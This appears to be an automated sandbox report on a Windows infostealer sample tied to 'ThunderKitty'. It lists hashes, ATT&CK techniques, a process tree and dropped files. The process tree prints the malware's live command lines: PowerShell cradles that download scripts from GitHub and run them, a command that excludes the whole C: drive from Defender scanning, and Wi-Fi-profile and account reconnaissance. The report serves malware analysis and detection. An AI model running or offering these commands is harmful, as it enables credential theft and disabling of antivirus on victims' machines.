889fcffb92c1e52ec1ed263476298bf0dee82c5dddbcf0e5e0c9e6c42cfd55b0

Analysis

max time kernel
146s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14/10/2024, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe
Size 9.8MB
Sample241014-twpfwaybll
SHA256 889fcffb92c1e52ec1ed263476298bf0dee82c5dddbcf0e5e0c9e6c42cfd55b0
MD5 5caf8a4e165d0ede23ca16c1954e6e4e
SHA1 298f055ae4c3fee613b994c2450454b4ca311abe
SHA512 74e5950bd46e169ad3583f2155b2ef414e6f862fd26bbf1f32bc3b91a0ef03e15b76967d58661b3a1d273303f12103d650b659ddc6684be5de0e58746dc52c97
SSDEEP 98304:C3BUxzQ38BsPGlgw97DB7prt8EREv/lLl8EnGpaeiWZ:C3138Bdxiv/lLl8PZ
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

discovery evasion execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	5024	powershell.exe
14	512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3580	powershell.exe
512	powershell.exe
5024	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1000	netsh.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
13	raw.githubusercontent.com
14	raw.githubusercontent.com

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4908	ARP.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4448	netsh.exe
2720	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
840	NETSTAT.EXE

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4384	ipconfig.exe
840	NETSTAT.EXE
3844	ipconfig.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3580	powershell.exe
512	powershell.exe
5024	powershell.exe
512	powershell.exe
3580	powershell.exe
5024	powershell.exe
512	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeIncreaseQuotaPrivilege	512	powershell.exe
Token: SeSecurityPrivilege	512	powershell.exe
Token: SeTakeOwnershipPrivilege	512	powershell.exe
Token: SeLoadDriverPrivilege	512	powershell.exe
Token: SeSystemProfilePrivilege	512	powershell.exe
Token: SeSystemtimePrivilege	512	powershell.exe
Token: SeProfSingleProcessPrivilege	512	powershell.exe
Token: SeIncBasePriorityPrivilege	512	powershell.exe
Token: SeCreatePagefilePrivilege	512	powershell.exe
Token: SeBackupPrivilege	512	powershell.exe
Token: SeRestorePrivilege	512	powershell.exe
Token: SeShutdownPrivilege	512	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeSystemEnvironmentPrivilege	512	powershell.exe
Token: SeRemoteShutdownPrivilege	512	powershell.exe
Token: SeUndockPrivilege	512	powershell.exe
Token: SeManageVolumePrivilege	512	powershell.exe
Token: 33	512	powershell.exe
Token: 34	512	powershell.exe
Token: 35	512	powershell.exe
Token: 36	512	powershell.exe
Token: SeIncreaseQuotaPrivilege	512	powershell.exe
Token: SeSecurityPrivilege	512	powershell.exe
Token: SeTakeOwnershipPrivilege	512	powershell.exe
Token: SeLoadDriverPrivilege	512	powershell.exe
Token: SeSystemProfilePrivilege	512	powershell.exe
Token: SeSystemtimePrivilege	512	powershell.exe
Token: SeProfSingleProcessPrivilege	512	powershell.exe
Token: SeIncBasePriorityPrivilege	512	powershell.exe
Token: SeCreatePagefilePrivilege	512	powershell.exe
Token: SeBackupPrivilege	512	powershell.exe
Token: SeRestorePrivilege	512	powershell.exe
Token: SeShutdownPrivilege	512	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeSystemEnvironmentPrivilege	512	powershell.exe
Token: SeRemoteShutdownPrivilege	512	powershell.exe
Token: SeUndockPrivilege	512	powershell.exe
Token: SeManageVolumePrivilege	512	powershell.exe
Token: 33	512	powershell.exe
Token: 34	512	powershell.exe
Token: 35	512	powershell.exe
Token: 36	512	powershell.exe
Token: SeIncreaseQuotaPrivilege	512	powershell.exe
Token: SeSecurityPrivilege	512	powershell.exe
Token: SeTakeOwnershipPrivilege	512	powershell.exe
Token: SeLoadDriverPrivilege	512	powershell.exe
Token: SeSystemProfilePrivilege	512	powershell.exe
Token: SeSystemtimePrivilege	512	powershell.exe
Token: SeProfSingleProcessPrivilege	512	powershell.exe
Token: SeIncBasePriorityPrivilege	512	powershell.exe
Token: SeCreatePagefilePrivilege	512	powershell.exe
Token: SeBackupPrivilege	512	powershell.exe
Token: SeRestorePrivilege	512	powershell.exe
Token: SeShutdownPrivilege	512	powershell.exe
Token: SeDebugPrivilege	512	powershell.exe
Token: SeSystemEnvironmentPrivilege	512	powershell.exe
Token: SeRemoteShutdownPrivilege	512	powershell.exe
Token: SeUndockPrivilege	512	powershell.exe
Token: SeManageVolumePrivilege	512	powershell.exe
Token: 33	512	powershell.exe
Token: 34	512	powershell.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 512	3564	2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe	84
PID 3564 wrote to memory of 512	3564	2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe	84
PID 3564 wrote to memory of 3580	3564	2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe	86
PID 3564 wrote to memory of 3580	3564	2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe	86
PID 3564 wrote to memory of 5024	3564	2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe	88
PID 3564 wrote to memory of 5024	3564	2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe	88
PID 512 wrote to memory of 2704	512	powershell.exe	90
PID 512 wrote to memory of 2704	512	powershell.exe	90
PID 2704 wrote to memory of 2440	2704	csc.exe	91
PID 2704 wrote to memory of 2440	2704	csc.exe	91
PID 512 wrote to memory of 4448	512	powershell.exe	92
PID 512 wrote to memory of 4448	512	powershell.exe	92
PID 512 wrote to memory of 4088	512	powershell.exe	97
PID 512 wrote to memory of 4088	512	powershell.exe	97
PID 4088 wrote to memory of 896	4088	net.exe	98
PID 4088 wrote to memory of 896	4088	net.exe	98
PID 512 wrote to memory of 1000	512	powershell.exe	99
PID 512 wrote to memory of 1000	512	powershell.exe	99
PID 512 wrote to memory of 3980	512	powershell.exe	102
PID 512 wrote to memory of 3980	512	powershell.exe	102
PID 512 wrote to memory of 4552	512	powershell.exe	103
PID 512 wrote to memory of 4552	512	powershell.exe	103
PID 4552 wrote to memory of 5064	4552	net.exe	104
PID 4552 wrote to memory of 5064	4552	net.exe	104
PID 512 wrote to memory of 4384	512	powershell.exe	105
PID 512 wrote to memory of 4384	512	powershell.exe	105
PID 512 wrote to memory of 1428	512	powershell.exe	106
PID 512 wrote to memory of 1428	512	powershell.exe	106
PID 1428 wrote to memory of 2076	1428	net.exe	107
PID 1428 wrote to memory of 2076	1428	net.exe	107
PID 512 wrote to memory of 3468	512	powershell.exe	108
PID 512 wrote to memory of 3468	512	powershell.exe	108
PID 512 wrote to memory of 840	512	powershell.exe	109
PID 512 wrote to memory of 840	512	powershell.exe	109
PID 512 wrote to memory of 3300	512	powershell.exe	110
PID 512 wrote to memory of 3300	512	powershell.exe	110
PID 512 wrote to memory of 3844	512	powershell.exe	111
PID 512 wrote to memory of 3844	512	powershell.exe	111
PID 512 wrote to memory of 1952	512	powershell.exe	112
PID 512 wrote to memory of 1952	512	powershell.exe	112
PID 512 wrote to memory of 4908	512	powershell.exe	113
PID 512 wrote to memory of 4908	512	powershell.exe	113
PID 512 wrote to memory of 2720	512	powershell.exe	114
PID 512 wrote to memory of 2720	512	powershell.exe	114

C:\Users\Admin\AppData\Local\Temp\2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe
"C:\Users\Admin\AppData\Local\Temp\2024-10-14_5caf8a4e165d0ede23ca16c1954e6e4e_poet-rat_snatch.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/SysInfo.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:512
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jgjncxzu\jgjncxzu.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA018.tmp" "c:\Users\Admin\AppData\Local\Temp\jgjncxzu\CSC5F8FF8BDA1D5430283B89463EDD5E7FE.TMP"
      4⤵
      PID:2440
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4448
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup administrators
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators
      4⤵
      PID:896
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" advfirewall show allprofiles
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:1000
- - C:\Windows\system32\whoami.exe
    "C:\Windows\system32\whoami.exe" /all
    3⤵
    PID:3980
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4552
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5064
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /displaydns
    3⤵
    - Gathers network information
    PID:4384
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup
      4⤵
      PID:2076
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" startup get command caption
    3⤵
    PID:3468
- - C:\Windows\system32\NETSTAT.EXE
    "C:\Windows\system32\NETSTAT.EXE" -ano
    3⤵
    - System Network Connections Discovery
    - Gathers network information
    PID:840
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe
    3⤵
    PID:3300
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /all
    3⤵
    - Gathers network information
    PID:3844
- - C:\Windows\system32\ROUTE.EXE
    "C:\Windows\system32\ROUTE.EXE" print
    3⤵
    PID:1952
- - C:\Windows\system32\ARP.EXE
    "C:\Windows\system32\ARP.EXE" -a
    3⤵
    - Network Service Discovery
    PID:4908
- - C:\Windows\system32\netsh.exe
    "C:\Windows\system32\netsh.exe" wlan show profile
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -C "Add-MpPreference -ExclusionPath 'C:'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('https://raw.githubusercontent.com/EvilBytecode/ThunderKitty/main/powershellstuff/defenderstuff.ps1')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

77EC63BDA74BD0D0E0426DC8F8008506

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Size 328B
SHA256 1d4504f378fd97b7d724ebb9180b7aa65ae154169e3f34305482682e61389a09
MD5 f65c679f69eed27a0a342551e742550b
SHA1 21e7b7922cdc85ada08633a7b15ddfc6f5595826
SHA512 1e19e4ff846d087270f0cf4612bacb87243844e6d2ecd99eb962b154f0abc95f029745625999312ae29f18168d8e94ad203aec3937f0c406d0821f7343e80e57
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 496B
SHA256 c7f32431b109e2bc9bebeaacb7de276e3dd3b29bda7fbe231c99f8ade8f3df5c
MD5 4909c22f87c7600c70c045ef8a0cf3ba
SHA1 8721958231e68babe6ad8fe4e16e9b443b5258e0
SHA512 ad5a4b1e7cb796c870aa7eea6c1f0fb0e0c3ffb958333d7cd97cb6be771b5167ecce0ee267e27b64bc1c35d4322bf07925ebaf65dd2a84f4b1ca9fbf79e06751
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ab51c217e9153dbcdf109ea319478d39cfbb825de7d60e565118d6168212baa8
MD5 1867ca0f3ba7d8b0ab3169eb1b17b2e8
SHA1 40c51c3b00d3d229c2a56011b4a02fdcbd026187
SHA512 aba4abcb7a88b43b1921c2fe58d3c1e2125c411d54f845b22b9db026fd32784d2e67d08bb7fe52782d6cf803a22721a7b4ec0be0adc8317a9c1db11d40659b71
MD5 SHA1 SHA512

Submit Download

RESA018.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA018.tmp
Size 1KB
SHA256 f824ce7f60dc61c4411bab9daa21a2d4742b358306fc14b4da53848405a6782c
MD5 f8dba2db4979074d980c9d1fadc0db34
SHA1 9f48b091fca3c94db160bca8d6e8bc7113f762db
SHA512 9b19e17de7006af0700c10ebe725773cf780fb0db7361d27f67c4ced4c717a3d3b0908b895255a76dced2abdccaa152a3bc46fd1cc805af5f48a80efeba3ebf0
MD5 SHA1 SHA512

Submit Download

ThunderKitty.zip

Path C:\Users\Admin\AppData\Local\Temp\ThunderKitty.zip
Size 1.0MB
SHA256 f49197794f11d9a8a397cd1562b607d09a45f0f6f63d3a8b25cbdad57060ffa7
MD5 d8bc7d5d1ec8aca8c0fec0d60d46c965
SHA1 244022556151ac0d90b58c9483989a813671df42
SHA512 9b78297f133189f81bdf600b83fb88b93c7cf8dbab8c2188640fd8aacd2e1ba1b120e127e1b931e9119d0653256960137c9de9c60facb9ecc8d43ebcc84b5e77
SSDEEP 24576:z/oRfPrI/6f0O+39oE5ZY0pxS6o6TqFQE3:zcfa6fROJXMdKHE
MD5 SHA1 SHA512 SSDEEP

Submit Download

UnprotectPublish.txt

Path C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SensitiveFiles\UnprotectPublish.txt
Size 666KB
SHA256 3aa567d6da5b7d9034b30d0751f89ee65cec66c4afe819d716201af70018776f
MD5 17daa6b39df8f4199d739c098d6f31aa
SHA1 bb7e431f1232a4a7a46d3f1c4812531fd1d7cc68
SHA512 d779ffc56117be709ceeac1f2b1ff165c897d2e92ac4bd0eb1a105f16816477c00d2165c25d176cefb3b6125f9ae1cf60f54bc7ad5548d0deb5d977bd5065090
SSDEEP 12288:yjmlorW9XW+VdQsgoFSHeLMeIGV5tezUHAUN08yU6FY2KYuB:LloK51QsbzMeIWDiFCRB
MD5 SHA1 SHA512 SSDEEP

Submit Download

ThunderKitty-ScrapedCMDS.txt

Path C:\Users\Admin\AppData\Local\Temp\ThunderKitty\SystemInfo\ThunderKitty-ScrapedCMDS.txt
Size 22KB
SHA256 3187b377e9e31d85343cc9898f481e393002dd2049b9b8dcfbf10443b87cc84b
MD5 da8ded933860d1f8b88594d59b44c3e7
SHA1 8949db7310591328f3aefb76c89f8a763f0a189b
SHA512 a670098dda93157826efdd6623155cb9b47166e2fae956c1019ce208fea4f93ee2b7fdd43480d3550c850cdd80d5e3e9b921f4a243519f5cd59fb5d65c21af95
SSDEEP 192:Hq7qdq92xjXmB72H8oqm2UNGGMgqGMsQSWSg8QpUSqvVrXoMmzfRDYDfQ7j4v0+A:Hq7qdq92xjXmB72coqm2KigqR1d
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_003t2c3l.sss.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_003t2c3l.sss.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

jgjncxzu.dll

Path C:\Users\Admin\AppData\Local\Temp\jgjncxzu\jgjncxzu.dll
Size 4KB
SHA256 cf65ac5e9f2d90573065e02d1b9d7279c4912dd9fadc80652a3f2d3963d7e70d
MD5 8ed0f9659615917cc07f0919d4ce202c
SHA1 9fb7cdb1566c333a4f00a85a3e9d7f689d31e1df
SHA512 0ebff734fa6d777dc7182530ddaae1ca89b569a4ba218d1174f6571849adccfb25ad9e3c9a260cef4b5d4087d60335d5c620e35ced715c126ef143b0ffdd0d6e
SSDEEP 48:6x91RouyKfrT8GCDEVimmzU2213QG/0YJJxkDsgRWpWTg4ZQb1ulwGa3xFq:Q+sfX8GoYimmzU0zDvACQM6GKx
MD5 SHA1 SHA512 SSDEEP

Submit Download

CSC5F8FF8BDA1D5430283B89463EDD5E7FE.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\jgjncxzu\CSC5F8FF8BDA1D5430283B89463EDD5E7FE.TMP
Size 652B
SHA256 ec8dcb4e7bb95d61fa918ed88e9fae9251c3829b269720f6bfda98f16ba85cef
MD5 f7fad21305eb4ce7dab549e078ed215a
SHA1 d3638db1e77fb8ecd807f995f5a3709c5532572d
SHA512 c732e40e142f7cef37009a78a6ead5f087abacb04ddaa08384163a9e7284d9be96bdfa4a5cdc8f98b5d18b99b71e5c33eada9a3e4cb3b01dd8bd7980eeaf79da
MD5 SHA1 SHA512

Submit Download

jgjncxzu.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\jgjncxzu\jgjncxzu.0.cs
Size 1KB
SHA256 c379ac84c970f2055851b084c44575a5e4b5a70dc25f0acdd49aad306489b007
MD5 8a1e7edb2117ec5dde9a07016905923b
SHA1 0155dbeeb16333e2eaa767b0209750efee56f47f
SHA512 4ff0601803a006c661c962fe158cd5e9f40031d6b4fd7c5a05969a52d812e1fcb0aab20916fcad6c61c6d44cc7cfdf1e4f344f22ced937a0cd757ad841d3ab21
MD5 SHA1 SHA512

Submit Download

jgjncxzu.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\jgjncxzu\jgjncxzu.cmdline
Size 369B
SHA256 83238b9fe446c0e5052ccdfca31525be8c1686d777ded65c2054c1285449da62
MD5 b7a609bb77d5aa0e2b12fed151cba77e
SHA1 7aa945fa51c5dffbbeacbd59a66cd79ac52c973d
SHA512 328d7ac390b4406dd7dd664023cd67b83cffbdfc2cea73726d8ed7d595c4e4cc1554ac2f026d1f8d89f73fe92f01d663a5830374ce35f41cf14f0516ed2b50d1
MD5 SHA1 SHA512

Submit Download

memory/512-4-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/512-111-0x0000023073990000-0x000002307399A000-memory.dmp

Download

memory/512-110-0x00000230739A0000-0x00000230739B2000-memory.dmp

Download

memory/512-0-0x00007FF858793000-0x00007FF858795000-memory.dmp

Download

memory/512-121-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/512-73-0x0000023070FB0000-0x0000023070FB8000-memory.dmp

Download

memory/512-77-0x0000023073990000-0x00000230739BA000-memory.dmp

Download

memory/512-78-0x0000023073990000-0x00000230739B4000-memory.dmp

Download

memory/512-16-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/3580-26-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/3580-49-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/3580-56-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/3580-36-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/3580-14-0x0000019AF47C0000-0x0000019AF47E2000-memory.dmp

Download

memory/5024-38-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/5024-60-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/5024-51-0x000002055E980000-0x000002055F126000-memory.dmp

Download

memory/5024-50-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download

memory/5024-37-0x00007FF858790000-0x00007FF859251000-memory.dmp

Download